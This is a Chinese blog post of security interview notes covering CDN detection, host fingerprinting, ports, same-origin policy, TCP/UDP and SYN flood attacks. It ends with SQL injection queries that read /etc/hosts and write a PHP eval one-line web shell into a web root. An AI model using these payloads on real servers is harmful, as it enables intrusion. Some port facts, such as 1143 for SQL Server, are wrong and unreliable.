网安面试题
@toc
如何识别CDN
CDN即内容分发网络。
CDN的关键技术主要有内容存储和分发技术。
CDN的好处:
1、提高站点的访问速度
2、带宽优化
3、缓解SYN Flood,UDP、ICMP Flood 等DDOS攻击。CDN有自己的安全处理机制。
4、能克服网站分布不均的问题,并且能降低网站自身建设和维护成本,提高网络访问的稳定性
5、攻击者很难发现服务器的真实IP
如何识别CDN:
1、通过ping命令,查看回显情况
在返回信息内可以看到其实ping的是它的一个CDN服务器
2、windows系统环境下,使用nslookup进行查询,看返回的域名解析的情况(若返回域名解析结果为多个ip,多半使用了CDN )
3、超级ping工具(多地ping),若返回域名解析结果为多个ip,多半使用了CDN
如何判断靶标站点是windows/linux?
1、大小写检测:windows大小写不敏感,而linux大小写敏感。
2、PING指令:根据TTL值,winodws一般情况下>100,linux<100
TTL(生存时间值):该字段指定IP包被路由器丢弃之前允许通过的最大网段数量。
ping linux内网机器的ttl为64
ping window内网机器的ttl为128
常见端口
端口号的范围是从1~65535。
其中1~1024是被RFC 3232规定好了的,被称作“众所周知的端口”(Well Known Ports);
从1025~65535的端口被称为动态端口(Dynamic Ports),可用来建立与其它主机的会话,也可由用户自定义用途。
一些常见的端口号及其用途如下:
21端口:FTP 文件传输服务
22端口:SSH 远程连接服务
23端口:TELNET 终端仿真服务
25端口:SMTP 简单邮件传输服务
53端口:DNS 域名解析服务
80端口:HTTP 超文本传输服务
443端口:HTTPS 加密的超文本传输服务
3306端口:MYSQL数据库端口
1143端口:SQLserver数据库端口
1433端口:MSSQL数据库端口
5432端口:postgresql数据库端口
1521端口:oracle数据库端口
6379端口:Redis数据库端口
8080端口:TCP服务端默认端口(tomcat/resin/jetty)
9200端口:Elasticsearch服务器端口
27017端口:mongoDB数据库默认端口
22122端口:fastdfs服务器默认端口
同源策略
同源策略限制不同源对当前document的属性内容进行读取或设置。
不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。
不能获取不同源的 cookie,LocalStorage 和 indexDB
不能获取不同源的 DOM()
不能发送不同源的 ajax 请求 (可以向不同源的服务器发起请求,但是返回的数据会被浏览器拦截)
TCP和UDP区别
1) TCP提供面向连接的传输,通信前要先建立连接(三次握手机制); UDP提供无连接的传输,通信前不需要建立连接。(TCP面向连接,UDP面向报文)
2) TCP提供可靠的传输(有序,无差错,不丢失,不重复); UDP提供不可靠的传输。
3) TCP面向字节流的传输,因此它能将信息分割成组,并在接收端将其重组; UDP是面向数据报的传输,没有分组开销。
4) TCP提供拥塞控制和流量控制机制; UDP不提供拥塞控制和流量控制机制。
5)TCP首部开销20字节;UDP的首部开销小,只有8个字节
6)每一条TCP连接只能是点到点的;UDP支持一对一,一对多,多对一和多对多的交互通信
TCP协议的长连接和短连接
HTTP的长连接和短连接本质上是TCP长连接和短连接。HTTP属于应用层协议,在传输层使用TCP协议,在网络层使用IP协议。 IP协议主要解决网络路由和寻址问题,TCP协议主要解决如何在IP层之上可靠地传递数据包,使得网络上接收端收到发送端所发出的所有包,并且顺序与发送顺序一致。TCP协议是可靠的、面向连接的。
在HTTP/1.0中默认使用短连接。也就是说,客户端和服务器每进行一次HTTP操作,就建立一次连接,任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源(如JavaScript文件、图像文件、CSS文件等),每遇到这样一个Web资源,浏览器就会重新建立一个HTTP会话。
而从HTTP/1.1起,默认使用长连接,用以保持连接特性。使用长连接的HTTP协议,会在响应头加入这行代码:Connection:keep-alive
在使用长连接的情况下,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,客户端再次访问这个服务器时,会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间。实现长连接需要客户端和服务端都支持长连接。
SYN FLOOD攻击和CC攻击
DDOS:客户端向服务端发送请求链接数据包,服务端向客户端发送确认数据包,客户端不向服务端发送确认数据包,服务器一直等待来自客户端的确认
SYN FLOOD(最常见的一种DDOS):
TCP在传递数据前需要经过三次握手,SYN攻击的原理就是向服务器发送SYN数据包,并伪造源IP地址。
服务器在收到SYN数据包时,会将连接加入backlog队列,并向源IP发送SYN-ACK数据包,并等待ACK数据包,以完成三次握手建立连接。
由于源IP地址是伪造的不存在主机IP,所以服务器无法收到ACK数据包,并会不断重发,同时backlog队列被不断被攻击的SYN连接占满,导致无法处理正常的连接。
预防:
(没有根治方法,除非不用TCP)
1)限制同时打开SYN半链接的数目
2)缩短SYN半链接的Time out 时间
3)关闭不必要的服务
CC 攻击:
模拟多个正常用户不停地访问如论坛这些需要大量数据操作的页面,造成服务器资源的
浪费,CPU 长时间处于 100%,永远都有处理不完的请求,网络拥塞,正常访问被中止。
Mysql的网站注入,5.0以上和5.0以下的区别?
1、5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
2、5.0以下是多用户单操作,5.0以上是多用户多操做。
sql注入读写文件
读文件:
select load_file(’/etc/hosts’)
写文件:
select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’ (写二进制文件使用)
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
- 点赞
- 收藏
- 关注作者
评论(0)